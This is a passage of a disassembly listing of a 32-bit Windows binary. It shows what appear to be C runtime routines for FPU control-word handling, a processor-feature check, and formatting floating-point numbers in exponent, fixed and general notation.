		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4270C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4270E0	proc near		; CODE XREF: sub_426420+349p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	[ebp+var_4]
		fnclex
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4270E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427100	proc near		; CODE XREF: sub_41CCD0+11p
					; sub_41CCD0+67p ...

var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		movsx	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		not	edx
		and	ecx, edx
		or	eax, ecx
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		movsx	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_427100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427140	proc near		; CODE XREF: sub_4268F0+25p
					; sub_4268F0+50p ...

var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_42715D
		fld	tbyte_451A30
		fistp	[ebp+var_C]
		wait


loc_42715D:				; CODE XREF: sub_427140+11j
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_427177
		fstsw	ax
		fld	tbyte_451A30
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_427177:				; CODE XREF: sub_427140+25j
		mov	edx, [ebp+arg_0]
		and	edx, 10h
		test	edx, edx
		jz	short loc_42718B
		fld	tbyte_451A3C
		fstp	[ebp+var_8]
		wait


loc_42718B:				; CODE XREF: sub_427140+3Fj
		mov	eax, [ebp+arg_0]
		and	eax, 4
		test	eax, eax
		jz	short loc_42719E
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_42719E:				; CODE XREF: sub_427140+53j
		mov	ecx, [ebp+arg_0]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_4271AE
		fldpi
		fstp	[ebp+var_8]
		wait


loc_4271AE:				; CODE XREF: sub_427140+66j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_427140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4271C0	proc near		; CODE XREF: sub_41CE10+15p
					; .nsp0:0042CF15p
		push	ebp
		mov	ebp, esp
		push	30000h
		push	10000h
		call	sub_42CEE0
		add	esp, 8
		pop	ebp
		retn
sub_4271C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4271E0	proc near		; CODE XREF: sub_427240:loc_427279p

var_1C		= dword	ptr -1Ch
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp+var_18],	80000000h
		mov	dword ptr [ebp+var_18+4], 4147FFFFh
		mov	dword ptr [ebp+var_8], 0C0000000h
		mov	dword ptr [ebp+var_8+4], 4150017Eh
		fld	[ebp+var_8]
		fdiv	[ebp+var_18]
		fmul	[ebp+var_18]
		fsubr	[ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fcomp	dbl_437CF8
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42722D
		mov	[ebp+var_1C], 1
		jmp	short loc_427234
; ---------------------------------------------------------------------------


loc_42722D:				; CODE XREF: sub_4271E0+42j
		mov	[ebp+var_1C], 0


loc_427234:				; CODE XREF: sub_4271E0+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4271E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427240	proc near		; CODE XREF: sub_41CE10+Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4F1358	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_427279
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4F1378	; GetProcAddress
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_427279
		push	0
		call	[ebp+var_8]
		jmp	short loc_42727E
; ---------------------------------------------------------------------------


loc_427279:				; CODE XREF: sub_427240+18j
					; sub_427240+30j
		call	sub_4271E0


loc_42727E:				; CODE XREF: sub_427240+37j
		mov	esp, ebp
		pop	ebp
		retn
sub_427240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427290	proc near		; CODE XREF: sub_422D70+6CFp
					; DATA XREF: sub_41CE50+21o ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_41E550
		add	esp, 4
		cmp	eax, 65h
		jz	short loc_4272F0


loc_4272AA:				; CODE XREF: sub_427290+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	dword_4516A8, 1
		jle	short loc_4272D2
		push	4
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_4272EA
; ---------------------------------------------------------------------------


loc_4272D2:				; CODE XREF: sub_427290+2Aj
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_C], edx


loc_4272EA:				; CODE XREF: sub_427290+40j
		cmp	[ebp+var_C], 0
		jnz	short loc_4272AA


loc_4272F0:				; CODE XREF: sub_427290+18j
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		mov	edx, [ebp+arg_0]
		mov	al, byte_4516AC
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42730B:				; CODE XREF: sub_427290+A2j
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		mov	dl, [ebp+var_8]
		mov	[ecx], dl
		mov	al, [ebp+var_4]
		mov	[ebp+var_8], al
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jnz	short loc_42730B
		mov	esp, ebp
		pop	ebp
		retn
sub_427290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427340	proc near		; CODE XREF: sub_422D70+6F1p
					; DATA XREF: sub_41CE50+Do ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_427344:				; CODE XREF: sub_427340+28j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42736A
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte_4516AC
		cmp	eax, ecx
		jz	short loc_42736A
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_427344
; ---------------------------------------------------------------------------


loc_42736A:				; CODE XREF: sub_427340+Cj
					; sub_427340+1Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		test	ecx, ecx
		jz	loc_427413


loc_427381:				; CODE XREF: sub_427340+6Aj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_4273AC
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 65h
		jz	short loc_4273AC
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 45h
		jz	short loc_4273AC
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_427381
; ---------------------------------------------------------------------------


loc_4273AC:				; CODE XREF: sub_427340+49j
					; sub_427340+54j ...
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx


loc_4273BB:				; CODE XREF: sub_427340+8Fj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jnz	short loc_4273D1
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_4273BB
; ---------------------------------------------------------------------------


loc_4273D1:				; CODE XREF: sub_427340+84j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte_4516AC
		cmp	ecx, edx
		jnz	short loc_4273EB
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		mov	[ebp+arg_0], eax


loc_4273EB:				; CODE XREF: sub_427340+A0j
					; sub_427340+D1j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		test	eax, eax
		jz	short loc_427413
		jmp	short loc_4273EB
; ---------------------------------------------------------------------------


loc_427413:				; CODE XREF: sub_427340+3Bj
					; sub_427340+CFj
		mov	esp, ebp
		pop	ebp
		retn
sub_427340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427420	proc near		; DATA XREF: sub_41CE50+2Bo
					; .nsp0:off_451A58o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 1
		jnz	short loc_42743F
		mov	[ebp+var_4], 1
		jmp	short loc_427446
; ---------------------------------------------------------------------------


loc_42743F:				; CODE XREF: sub_427420+14j
		mov	[ebp+var_4], 0


loc_427446:				; CODE XREF: sub_427420+1Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_427420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427450	proc near		; CODE XREF: sub_424CA0+1138p
					; DATA XREF: sub_41CE50+17o ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_42747C
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		call	sub_42DA10
		add	esp, 8
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		mov	[edx+4], ecx
		jmp	short loc_427494
; ---------------------------------------------------------------------------


loc_42747C:				; CODE XREF: sub_427450+Aj
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42DA90
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx


loc_427494:				; CODE XREF: sub_427450+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_427450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4274A0	proc near		; CODE XREF: sub_427930+1Fp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42DBD0
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		xor	edx, edx
		cmp	[ebp+arg_8], 0
		setnle	dl
		add	ecx, edx
		push	ecx
		call	sub_42DAD0
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_427520
		add	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4274A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427520	proc near		; CODE XREF: sub_4274A0+67p
					; sub_427840+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		movsx	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_427557
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		cmp	dword ptr [ecx], 2Dh
		setz	dl
		mov	eax, [ebp+arg_0]
		add	eax, edx
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		cmp	[ebp+arg_4], 0
		setnle	cl
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_427990
		add	esp, 8


loc_427557:				; CODE XREF: sub_427520+Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 2Dh
		jnz	short loc_427574
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_427574:				; CODE XREF: sub_427520+43j
		cmp	[ebp+arg_4], 0
		jle	short loc_427598
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	al, byte_4516AC
		mov	[edx], al


loc_427598:				; CODE XREF: sub_427520+58j
		push	offset aE000	; "e+000"
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		movsx	edx, [ebp+arg_10]
		neg	edx
		sbb	edx, edx
		inc	edx
		add	ecx, edx
		push	ecx
		call	sub_41C300
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_4275C6
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	45h


loc_4275C6:				; CODE XREF: sub_427520+9Ej
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jz	loc_42767F
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_427601
		mov	ecx, [ebp+var_8]
		neg	ecx
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh


loc_427601:				; CODE XREF: sub_427520+D1j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 64h
		jl	short loc_427635
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_8], edx


loc_427635:				; CODE XREF: sub_427520+EEj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		cmp	[ebp+var_8], 0Ah
		jl	short loc_427669
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+var_8], edx


loc_427669:				; CODE XREF: sub_427520+122j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, byte ptr [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[edx], cl


loc_42767F:				; CODE XREF: sub_427520+BBj
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_427520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427690	proc near		; CODE XREF: sub_427930+3Bp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42DBD0
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		add	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		push	edx
		call	sub_42DAD0
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_427700
		add	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_427690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427700	proc near		; CODE XREF: sub_427690+5Bp
					; sub_427840+D9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_8], ecx
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_427753
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_0]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_427753
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0


loc_427753:				; CODE XREF: sub_427700+18j
					; sub_427700+33j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 2Dh
		jnz	short loc_427770
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_427770:				; CODE XREF: sub_427700+5Fj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jg	short loc_427798
		push	1
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_427990
		add	esp, 8
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4277A4
; ---------------------------------------------------------------------------


loc_427798:				; CODE XREF: sub_427700+77j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+4]
		mov	[ebp+var_4], edx


loc_4277A4:				; CODE XREF: sub_427700+96j
		cmp	[ebp+arg_4], 0
		jle	loc_427836
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_427990
		add	esp, 8
		mov	ecx, [ebp+var_4]
		mov	dl, byte_4516AC
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_427836
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_4277EE
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		jmp	short loc_427814
; ---------------------------------------------------------------------------


loc_4277EE:				; CODE XREF: sub_427700+DFj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_427803
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		jmp	short loc_42780E
; ---------------------------------------------------------------------------


loc_427803:				; CODE XREF: sub_427700+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		mov	[ebp+var_10], eax


loc_42780E:				; CODE XREF: sub_427700+101j
		mov	ecx, [ebp+var_10]
		mov	[ebp+arg_4], ecx


loc_427814:				; CODE XREF: sub_427700+ECj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_427990
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	30h
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41B190
		add	esp, 0Ch


loc_427836:				; CODE XREF: sub_427700+A8j
					; sub_427700+D7j
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_427700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427840	proc near		; CODE XREF: sub_427930+55p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_38], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42DBD0
		add	esp, 10h
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42DAD0
		add	esp, 0Ch
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		xor	ecx, ecx
		cmp	[ebp+var_34], eax
		setl	cl
		mov	[ebp+var_30], cl
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFCh
		jl	short loc_4278CB
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_8]
		jl	short loc_4278E7


loc_4278CB:				; CODE XREF: sub_427840+81j
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_427520
		add	esp, 14h
		jmp	short loc_427921
; ---------------------------------------------------------------------------


loc_4278E7:				; CODE XREF: sub_427840+89j
		movsx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_42790B


loc_4278EF:				; CODE XREF: sub_427840+C2j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_427904
		jmp	short loc_4278EF
; ---------------------------------------------------------------------------


loc_427904:				; CODE XREF: sub_427840+C0j
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx-2], 0


loc_42790B:				; CODE XREF: sub_427840+ADj
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_427700
		add	esp, 10h


loc_427921:				; CODE XREF: sub_427840+A5j
		mov	esp, ebp
		pop	ebp
		retn
sub_427840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427930	proc near		; CODE XREF: sub_422D70+6ADp
					; DATA XREF: sub_41CE50+3o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42793F
		cmp	[ebp+arg_8], 45h
		jnz	short loc_427959


loc_42793F:				; CODE XREF: sub_427930+7j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4274A0
		add	esp, 10h
		jmp	short loc_42798D
; ---------------------------------------------------------------------------


loc_427959:				; CODE XREF: sub_427930+Dj
		cmp	[ebp+arg_8], 66h
		jnz	short loc_427975
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427690
		add	esp, 0Ch
		jmp	short loc_42798D
; ---------------------------------------------------------------------------


loc_427975:				; CODE XREF: sub_427930+2Dj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427840
		add	esp, 10h


loc_42798D:				; CODE XREF: sub_427930+27j
					; sub_427930+43j
		pop	ebp
		retn
sub_427930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427990	proc near		; CODE XREF: sub_427520+2Fp
					; sub_427700+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jz	short loc_4279BC
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
